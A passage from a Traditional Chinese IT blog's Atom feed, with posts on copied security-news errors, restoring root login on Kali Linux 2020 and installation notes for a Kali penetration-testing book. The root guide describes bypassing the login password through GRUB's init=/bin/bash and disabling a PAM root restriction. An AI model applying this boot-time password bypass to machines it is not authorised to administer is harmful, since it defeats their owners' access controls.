&lt;a href=&quot;https://www.nccst.nat.gov.tw/NewsRSSDetail?lang=zh&amp;amp;RSSType=news&amp;amp;seq=16407&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;技服資安新聞&quot; border=&quot;0&quot; data-original-height=&quot;1000&quot; data-original-width=&quot;1264&quot; height=&quot;316&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg38D6DugtYlgxzSMgCqsISPkrhGEwsvrCAc3-AU_4S8rpI2C6VwFxdLyYDMlJPFxDicLqL7VcL4iz0Fe6240MW3RmQHxxFHYDV3DHNr7ldMhxam7cL_GXQhT88TLTRk454E-dxgIWpimc-/s400/%25E6%258A%2580%25E6%259C%258D-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0.5em 0; text-indent: 2em;&quot;&gt;
在發現技服的資安新聞有疑問後，繼續查詢其他資安網站的內容，真的「天下文章一大抄」大家都錯一樣。詳如後面的截圖。本篇沒有特別用意，只想傳達「&lt;span style=&quot;color: #660000;&quot;&gt;&lt;b&gt;盡信書不如無書&lt;/b&gt;&lt;/span&gt;」，只要覺得不合常理，就該大力懷疑！&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6O41rzCSFYBzRq2kyU_5eVh-WnbAoaZcjtekTDmHvfn8HeTZezGH4fDqzVMQa6rV_YfOnEpvJJnIddq12lJsAyQ_QzQq1tXXvcxoeqXYxxmwTph6dVLPhO0BjXaXQf7fr_wKxIB4OmA7I/s1600/insoler-01.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1026&quot; data-original-width=&quot;1314&quot; height=&quot;311&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6O41rzCSFYBzRq2kyU_5eVh-WnbAoaZcjtekTDmHvfn8HeTZezGH4fDqzVMQa6rV_YfOnEpvJJnIddq12lJsAyQ_QzQq1tXXvcxoeqXYxxmwTph6dVLPhO0BjXaXQf7fr_wKxIB4OmA7I/s400/insoler-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggPjbHqOJMbB68llCI9qZb0_O2T0bwJdk05Bo_9DPv3lRaWLUYiqihLpj7RpLR2P9r6bop0mNFqDeqA6tg50zPfF7ZZbUSgEY47etIeW8OF8sW55T58qtB9Y-d7BrmcCpOfWO6bKxWNs4w/s1600/isda-01.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;974&quot; data-original-width=&quot;1430&quot; height=&quot;271&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggPjbHqOJMbB68llCI9qZb0_O2T0bwJdk05Bo_9DPv3lRaWLUYiqihLpj7RpLR2P9r6bop0mNFqDeqA6tg50zPfF7ZZbUSgEY47etIeW8OF8sW55T58qtB9Y-d7BrmcCpOfWO6bKxWNs4w/s400/isda-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL0FgsE_PEPi2YZM7e21Kpn2XwqKrXCFm9Z7BpJskQUG0FZEm7TQtDTxcjSiESHi3zdLLTJcifrBNFfgoN1dN57J-y8E7Hx-U3xJRVLHQaY06uhBZ4ddyBeEVc9hhxLYMSrHv7wRSzOYNd/s1600/IThome-01.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;990&quot; data-original-width=&quot;1395&quot; height=&quot;283&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL0FgsE_PEPi2YZM7e21Kpn2XwqKrXCFm9Z7BpJskQUG0FZEm7TQtDTxcjSiESHi3zdLLTJcifrBNFfgoN1dN57J-y8E7Hx-U3xJRVLHQaY06uhBZ4ddyBeEVc9hhxLYMSrHv7wRSzOYNd/s400/IThome-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTqUUwg11tv2n6iKUJw6tRy-fQnLsEgGKWyZsef99GAgJlQZXcypNEFoyskgCE4YszkQ5JR52ifk3XKbQLArogeuM-a2ebNVPTgI5Ar24GTYIWbRuoG7wQQtGklqbG29VX8Dy5nADgH1Fx/s1600/kknews-01.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1007&quot; data-original-width=&quot;1236&quot; height=&quot;325&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTqUUwg11tv2n6iKUJw6tRy-fQnLsEgGKWyZsef99GAgJlQZXcypNEFoyskgCE4YszkQ5JR52ifk3XKbQLArogeuM-a2ebNVPTgI5Ar24GTYIWbRuoG7wQQtGklqbG29VX8Dy5nADgH1Fx/s400/kknews-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNMxDi1T9RYJIMH2LORhPvTkL5YiJD2DusF6mjAY5yqMnXVgEC9BQUHxLgH3n0hIILbvHkyytUg2QV3dzI-SkExUA1bt7_BI-Hb7qBCtsquiDXx2fsQZNSEimjCnW9LeVZz4B1jJQfSomp/s1600/myppt-01.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;943&quot; data-original-width=&quot;1288&quot; height=&quot;292&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNMxDi1T9RYJIMH2LORhPvTkL5YiJD2DusF6mjAY5yqMnXVgEC9BQUHxLgH3n0hIILbvHkyytUg2QV3dzI-SkExUA1bt7_BI-Hb7qBCtsquiDXx2fsQZNSEimjCnW9LeVZz4B1jJQfSomp/s400/myppt-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTKZdlCSQcsjbeX2t-r6C1N-ZanPmADcviVacz8YGitfaSfDpjZz-OK9nOunB80bVtVimLn_dAX8EYh1sCDTCTTswOC_IuaRAGhkTZlWiexWuHbCHsqu-Pijkf7CJDCkaFCRl_nz8VRlTc/s1600/qq-01.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1009&quot; data-original-width=&quot;1196&quot; height=&quot;336&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTKZdlCSQcsjbeX2t-r6C1N-ZanPmADcviVacz8YGitfaSfDpjZz-OK9nOunB80bVtVimLn_dAX8EYh1sCDTCTTswOC_IuaRAGhkTZlWiexWuHbCHsqu-Pijkf7CJDCkaFCRl_nz8VRlTc/s400/qq-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLP1ZOUB5szVcNixnYMnX_oZ8mP6Wy_Ce4z6hlkUuhjxhT4iYfFN3KanEAtiw94iRU9DmzHaQH-mLwOs825YWET_XG1ghB1c36TdPVOwva6oNbBA3_6SMnkQM1_vySvxwCJnfnTP9qFoK-/s1600/%25E7%259C%258B%25E9%259B%25AAkansue-01.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;986&quot; data-original-width=&quot;1072&quot; height=&quot;367&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLP1ZOUB5szVcNixnYMnX_oZ8mP6Wy_Ce4z6hlkUuhjxhT4iYfFN3KanEAtiw94iRU9DmzHaQH-mLwOs825YWET_XG1ghB1c36TdPVOwva6oNbBA3_6SMnkQM1_vySvxwCJnfnTP9qFoK-/s400/%25E7%259C%258B%25E9%259B%25AAkansue-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiajFrDh9ZeMmeqWYHyy263Q5xcp7eqrhc3iwpqhQbgvr-yK4h8kWrPSxIYgcvzSsqZ94GLJc7y5-eycjWMttM6OhP6U9Il1FVBLYZYyD9cfGSrOFUmi4VQQWers672KMvF0TWMxgpU6hXb/s1600/Hinet-01.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;956&quot; data-original-width=&quot;1297&quot; height=&quot;293&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiajFrDh9ZeMmeqWYHyy263Q5xcp7eqrhc3iwpqhQbgvr-yK4h8kWrPSxIYgcvzSsqZ94GLJc7y5-eycjWMttM6OhP6U9Il1FVBLYZYyD9cfGSrOFUmi4VQQWers672KMvF0TWMxgpU6hXb/s400/Hinet-01.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/6040120016356553842/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2020/07/blog-post.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/6040120016356553842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/6040120016356553842'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2020/07/blog-post.html' title='天下文章一大抄，你錯我錯一起叫！'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1sbeLLMI3AneYdktg9NEI9QBuIJoRFB_ZV-viq53BqV_lCbH1t9MObn1k-UvIIR6SlB2tnW-bwyQhpqmmVj70n18Io1Tn7hi75ufFCIG07ncNbKIU-yBZHxabeGEZSEVcEAaorjvaZbDm/s72-c/%25E6%258A%2580%25E6%259C%258D-00.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-5498842729781839533</id><published>2020-03-28T04:27:00.003+08:00</published><updated>2020-03-28T04:27:57.976+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊技術"/><title type='text'>拿回Kali的ROOT主控權</title><content type='html'>&lt;div style=&quot;border: #0000cc 4px solid; font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;div style=&quot;margin: 0.5em 0; text-indent: 2em;&quot;&gt;
「&lt;a href=&quot;http://atic-tw.blogspot.com/2020/02/kali-linux-2kali-linux.html&quot; target=&quot;_blank&quot;&gt;Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明 &lt;/a&gt;」提到，2020年的Kali預設不提供&lt;b&gt; root&lt;/b&gt; 登入，在使用一段時間後，發現執行滲透測試，沒有 &lt;b&gt;root&lt;/b&gt; 權限很不方便，決定要拿回 &lt;b&gt;root&lt;/b&gt; 權限！如果你也有這個需求，可以參考本篇內容。&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;一、為root重設密碼&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
按照正常程序登入系統，重設root密碼。&lt;/div&gt;
&lt;div style=&quot;background-color: black; color: white; margin-left: 2em; padding: 0.5em;&quot;&gt;
&lt;span style=&quot;color: yellow;&quot;&gt;&lt;b&gt;kali@kali2020A:~$&lt;/b&gt;&lt;/span&gt; sudo passwd root&lt;br /&gt;
New password:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: lime;&quot;&gt;輸入新密碼，輸入時是看不到內容的&lt;/span&gt;&lt;br /&gt;
Retype new password:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: lime;&quot;&gt;輸入確認密碼，輸入時是看不到內容的&lt;/span&gt;&lt;br /&gt;
passwd: password updated successfully&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: lime;&quot;&gt;看到這段字，表示密碼設定成功&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
&lt;b&gt;如果正常程序無法修改root密碼，請改用下面方式：&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
&lt;div style=&quot;margin-left: 1em; text-indent: -1em;&quot;&gt;
1. 重新開機，在出現啟動選單時按下「&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;e&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;」鍵 ，進入GRUM的開機程序腳本編輯畫面。&lt;/div&gt;
&lt;div style=&quot;margin-left: 1em; text-indent: -1em;&quot;&gt;
2. 找到「&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;link 　/boot/...&lt;/b&gt;&lt;/span&gt;」這一列，將中間的「&lt;b&gt;&lt;span style=&quot;color: #990000;&quot;&gt;ro&lt;/span&gt;&lt;/b&gt;」(唯讀)改成「&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;rw&lt;/b&gt;&lt;/span&gt;」(讀寫)，並在這一列的最後面加一個空格，然後輸入「&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;init=/bin/bash&lt;/b&gt;&lt;/span&gt;」&lt;/div&gt;
&lt;div style=&quot;margin-left: 1em; text-indent: -1em;&quot;&gt;
3. 完成開機腳本修改後，按&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;Ctrl+x&lt;/b&gt;&lt;/span&gt;繼續啟動作業，此時會進入&lt;b&gt;root&lt;/b&gt;的單人作業模式。&lt;/div&gt;
&lt;div style=&quot;margin-left: 1em; text-indent: -1em;&quot;&gt;
4. 在終端機執行&lt;b&gt;passwd&lt;/b&gt;：&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: black; color: white; margin-left: 2em; padding: 0.5em;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: yellow;&quot;&gt;kali@kali2020A:~$&lt;/span&gt; &lt;/b&gt;passwd&lt;br /&gt;
New password:&lt;br /&gt;
Retype new password:&lt;br /&gt;
passwd: password updated successfully&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
二、修改&lt;b&gt;root&lt;/b&gt;密碼只是為了得到密碼資訊，當開機後，確實可以用&lt;b&gt;root&lt;/b&gt;登入純文字終端機，卻依然無法登入&lt;b&gt;X-window&lt;/b&gt;，請用nano或vi編輯「&lt;b&gt;/etc/pam.d/gdm-password&lt;/b&gt;」，將「&lt;b&gt;auth&amp;nbsp; required&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pam_succeed_if.so user != root quiet_success&lt;/b&gt;」這一列註解掉，存檔後，重新開機。&lt;/div&gt;
&lt;div style=&quot;background-color: black; color: white; margin-left: 2em; padding: 0.5em;&quot;&gt;
#%PAM-1.0&lt;br /&gt;
auth&amp;nbsp;&amp;nbsp;&amp;nbsp; requisite&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pam_nologin.so&lt;br /&gt;
&lt;span style=&quot;color: #ea9999;&quot;&gt;&lt;b&gt;#&lt;/b&gt; auth&amp;nbsp; required&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pam_succeed_if.so user != root quiet_success&amp;nbsp;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp; (註解此列)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
@include common-auth&lt;br /&gt;
auth&amp;nbsp;&amp;nbsp;&amp;nbsp; optional&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pam_gnome_keyring.so&lt;br /&gt;
@include common-account&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;三、大功告成！&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
現在無論純文字終端機，或x-window都可以用&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt; root&lt;/b&gt;&lt;/span&gt; 身分登入了！
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/5498842729781839533/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2020/03/kaliroot.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/5498842729781839533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/5498842729781839533'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2020/03/kaliroot.html' title='拿回Kali的ROOT主控權'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-1911565061180783738</id><published>2020-02-15T16:57:00.001+08:00</published><updated>2025-05-09T08:54:45.686+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><title type='text'>Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明</title><content type='html'>&lt;div style=&quot;border: 4px solid rgb(0, 0, 204); font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;div style=&quot;margin: 0.5em 0px; text-indent: 2em;&quot;&gt;
《&lt;a href=&quot;https://atic-tw.blogspot.com/2019/12/kali-linux-20191225.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Kali Linux 滲透測試工具(第三版)&lt;/b&gt;&lt;/a&gt;》是依 Kali 2019.2 及 2019.3 版本編寫，但付梓後，Kali 隨即發布 2019.4 版，在&lt;b&gt; 2020.1.28&lt;/b&gt; 再更新&lt;b&gt; 2020.1&lt;/b&gt; 版，這兩個版本的預設環境，和之前版本略有不同，因此，&lt;span style=&quot;color: #660000;&quot;&gt;書中第二章部分內容可能不適用&lt;/span&gt;，讀者必須視版本自行調整。&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;本篇博文針對2020.1的變更，提供摘要說明&lt;/b&gt;&lt;/span&gt;。
&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0px; text-indent: 2em;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;首先&lt;/b&gt;&lt;/span&gt;，直接影響的有：&lt;b&gt;x-window 的預設界面由 &lt;span style=&quot;color: blue;&quot;&gt;GNOME&lt;/span&gt; 改成 &lt;span style=&quot;color: #274e13;&quot;&gt;Xfce&lt;/span&gt;&lt;/b&gt;，據說Xfce較不耗資源，對滲透測試人員來講，資源應用會比畫面美觀重要。對於用慣GNOME的人，還是可以另外安裝GNOME。&lt;br /&gt;
apt update &amp;amp;&amp;amp; apt upgrade-y&lt;br /&gt;
&lt;b&gt;apt install gnome&lt;/b&gt;
&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0px; text-indent: 2em;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;再來&lt;/b&gt;&lt;/span&gt;是Live模式的&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;預設帳密已從 root / toor 改成&amp;nbsp; kali / kali&lt;/b&gt;&lt;/span&gt;，2020.1版不再提供root帳號。依照Kali官方說明，需要root權限的工具愈來愈少，而有些工具甚至要求非root權限（像chrome）。但nmap有些功能還是需要root身分才能正常作業，例如「-sS」選項，nmap預設使用-sS探測端口的開／閉情形，但非root模式時，則改用-sT掃描。&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0px 0px;&quot;&gt;
&lt;span style=&quot;color: #0c343d; font-size: large;&quot;&gt;&lt;b&gt;2020.1版的其他改變：&lt;/b&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0px 0.5em 4em; text-indent: -2em;&quot;&gt;
不再提供不同桌面的安裝映像檔，現在只剩3個版（各分32bit/64bit）：Installer、Live、NetInstaller。
&lt;/div&gt;
&lt;div style=&quot;margin-left: 7em; text-indent: -3em;&quot;&gt;
&lt;span style=&quot;color: #660000;&quot;&gt;&lt;b&gt;Installer&lt;/b&gt;&lt;/span&gt;：可以離線安裝，裡頭已包含各項工具，但使用者必須在安裝過程中自行選擇想安裝的內容。
&lt;/div&gt;
&lt;div style=&quot;margin-left: 7em; text-indent: -3em;&quot;&gt;
&lt;span style=&quot;color: #660000;&quot;&gt;&lt;b&gt;NetInstall&lt;/b&gt;&lt;/span&gt;：線上安裝，只需下載必要核心，其它部分在安裝時，從網路下載。
&lt;/div&gt;
&lt;div style=&quot;margin-left: 7em; text-indent: -3em;&quot;&gt;
&lt;span style=&quot;color: #660000;&quot;&gt;&lt;b&gt;Live&lt;/b&gt;&lt;/span&gt;：就和以前的Live版一樣，可以燒錄到DVD或USB，如前所述，它的帳號及密碼已改用 kali/kali，不再是root/toor。
&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0px 0.5em 4em; text-indent: -2em;&quot;&gt;
2&lt;b&gt;019.4需要另外安裝的&lt;span style=&quot;color: #cc0000;&quot;&gt;undercover（臥底）&lt;/span&gt;功能，2020.1已改成內建安裝&lt;/b&gt;，但此功能只能在xfce環境使用。&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
若你的 Kali 沒有 undercover 功能，可以執「&lt;b&gt;suo apt install kali-undercover&lt;/b&gt;」安裝&lt;br /&gt;
之後即可在終端機執行「&lt;b&gt;kali-undercover&lt;/b&gt;」進行切換。&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0px 0px;&quot;&gt;
&lt;span style=&quot;color: #0c343d; font-size: large;&quot;&gt;&lt;b&gt;2020.1的Installer映像檔的安裝說明：&lt;/b&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0px 0px 2em;&quot;&gt;
請參考本書2.1節建立虛擬機，並將下載回來的「kali-linux-2020.1-installer-amd64.iso」掛載到虛擬機的光碟機上。啟動虛擬機後，會由光碟機進入安裝程式程序，可選擇 &lt;b&gt;Graphical Install&lt;/b&gt;（圖形界面安裝程序）或Install（文字界面安裝程序），兩者過程類似：&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;１、此處以Graphical Install為例說明（圖1）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqGZMJOk_Sf13U5EAnIpLfhGKH8XLfzf7ezGU1OWJwKdGw04a_HWuQsu6M_3Yy5XYdAeEKW3G2QVoxVzxQ_RJRoHfYekNm_BZB7gDqjlvi6__hpegECnZLSgtbzyBArW__YkdEGdGteZwc/s1600/kali-2020_01.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;487&quot; data-original-width=&quot;647&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqGZMJOk_Sf13U5EAnIpLfhGKH8XLfzf7ezGU1OWJwKdGw04a_HWuQsu6M_3Yy5XYdAeEKW3G2QVoxVzxQ_RJRoHfYekNm_BZB7gDqjlvi6__hpegECnZLSgtbzyBArW__YkdEGdGteZwc/s400/kali-2020_01.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖1：選擇Graphical Install以圖形化界面安裝&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;２、語言選擇預設為English，這裡改成Chinese (Traditional) 中文(繁體)（圖2）&lt;/b&gt; &lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZCT1KuOdy8PVYqzlMoT5RBV5_1FTd_btzPrcYiNEbTIUdKEJ9TuE3B0t27UoJ4ZayAI7TxN33s_TcURTeAuhr7yjlg0LK4d1duKcE4NMgvJDDWETPy0VRzbyj4U8UPV0w73tDnMeMcYQI/s1600/kali-2020_02.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;605&quot; data-original-width=&quot;806&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZCT1KuOdy8PVYqzlMoT5RBV5_1FTd_btzPrcYiNEbTIUdKEJ9TuE3B0t27UoJ4ZayAI7TxN33s_TcURTeAuhr7yjlg0LK4d1duKcE4NMgvJDDWETPy0VRzbyj4U8UPV0w73tDnMeMcYQI/s400/kali-2020_02.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖2：選擇Chinese (Traditional) 中文(繁體)&lt;/td&gt;&lt;/tr&gt;
